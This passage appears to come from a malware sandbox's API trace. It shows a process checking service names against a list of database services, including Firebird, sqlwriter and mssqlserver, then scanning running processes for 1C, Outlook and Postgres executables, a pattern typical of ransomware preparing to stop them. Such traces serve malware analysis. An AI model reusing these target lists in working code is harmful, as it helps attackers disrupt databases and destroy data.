lpString2="Dnscache") returned 1 [0055.607] lstrlenW (lpString="DPS") returned 3 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.607] lstrlenW (lpString="eventlog") returned 8 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.607] lstrlenW (lpString="EventSystem") returned 11 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.607] lstrlenW (lpString="FontCache") returned 9 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0055.607] lstrlenW (lpString="gpsvc") returned 5 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.608] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.608] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.608] lstrlenW (lpString="iphlpsvc") returned 8 [0055.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.608] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.608] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.608] lstrlenW (lpString="LanmanServer") returned 12 [0055.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.608] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.608] lstrlenW (lpString="lmhosts") returned 7 [0055.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.608] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.608] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.609] lstrlenW (lpString="MMCSS") returned 5 [0055.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.609] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.609] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.609] lstrlenW (lpString="MpsSvc") returned 6 [0055.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.609] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.609] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.609] lstrlenW (lpString="Netman") returned 6 [0055.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.609] lstrlenW (lpString="netprofm") returned 8 [0055.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.609] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.609] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.609] lstrlenW (lpString="NlaSvc") returned 6 [0055.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.610] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.610] lstrlenW (lpString="nsi") returned 3 [0055.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.610] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.610] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.610] lstrlenW (lpString="PcaSvc") returned 6 [0055.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.610] lstrlenW (lpString="PlugPlay") returned 8 [0055.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.610] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.610] lstrlenW (lpString="Power") returned 5 [0055.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.611] lstrlenW (lpString="ProfSvc") returned 7 [0055.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.611] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.611] lstrlenW (lpString="RpcSs") returned 5 [0055.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.611] lstrlenW (lpString="SamSs") returned 5 [0055.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.611] lstrlenW (lpString="Schedule") returned 8 [0055.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.612] lstrlenW (lpString="SENS") returned 4 [0055.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.612] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.612] lstrlenW (lpString="Spooler") returned 7 [0055.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.612] lstrlenW (lpString="sppsvc") returned 6 [0055.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0055.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0055.612] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0055.612] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0055.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0055.613] lstrlenW (lpString="swprv") returned 5 [0055.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.613] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.613] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.613] lstrlenW (lpString="SysMain") returned 7 [0055.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.613] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.613] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.613] lstrlenW (lpString="Themes") returned 6 [0055.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.613] lstrlenW (lpString="TrkWks") returned 6 [0055.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.613] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.613] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.613] lstrlenW (lpString="UxSms") returned 5 [0055.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.614] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.614] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.614] lstrlenW (lpString="VSS") returned 3 [0055.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.614] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.614] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.614] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.614] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.614] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.614] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.614] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.614] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.614] lstrlenW (lpString="WinDefend") returned 9 [0055.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0055.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0055.614] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0055.614] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0055.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0055.615] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.615] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.615] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.615] lstrlenW (lpString="Winmgmt") returned 7 [0055.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.615] lstrlenW (lpString="wscsvc") returned 6 [0055.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0055.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0055.615] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0055.615] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0055.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0055.615] lstrlenW (lpString="wuauserv") returned 8 [0055.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0055.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0055.615] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0055.615] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0055.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0055.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f90098 | out: hHeap=0x520000) returned 1 [0055.615] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0055.621] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.621] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.622] lstrlenW (lpString="System") returned 6 [0055.622] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.622] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.622] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.622] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.623] lstrlenW (lpString="smss.exe") returned 8 [0055.623] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.624] lstrlenW (lpString="csrss.exe") returned 9 [0055.624] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.625] lstrlenW (lpString="wininit.exe") returned 11 [0055.625] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.625] lstrlenW (lpString="csrss.exe") returned 9 [0055.625] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.626] lstrlenW (lpString="winlogon.exe") returned 12 [0055.626] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.626] lstrlenW (lpString="services.exe") returned 12 [0055.627] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.627] lstrlenW (lpString="lsass.exe") returned 9 [0055.627] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.628] lstrlenW (lpString="lsm.exe") returned 7 [0055.628] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.628] lstrlenW (lpString="svchost.exe") returned 11 [0055.628] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.629] lstrlenW (lpString="svchost.exe") returned 11 [0055.629] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.630] lstrlenW (lpString="svchost.exe") returned 11 [0055.630] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.630] lstrlenW (lpString="svchost.exe") returned 11 [0055.630] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.631] lstrlenW (lpString="svchost.exe") returned 11 [0055.631] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.632] lstrlenW (lpString="audiodg.exe") returned 11 [0055.632] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.632] lstrlenW (lpString="svchost.exe") returned 11 [0055.633] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.633] lstrlenW (lpString="svchost.exe") returned 11 [0055.633] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.634] lstrlenW (lpString="dwm.exe") returned 7 [0055.634] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.635] lstrlenW 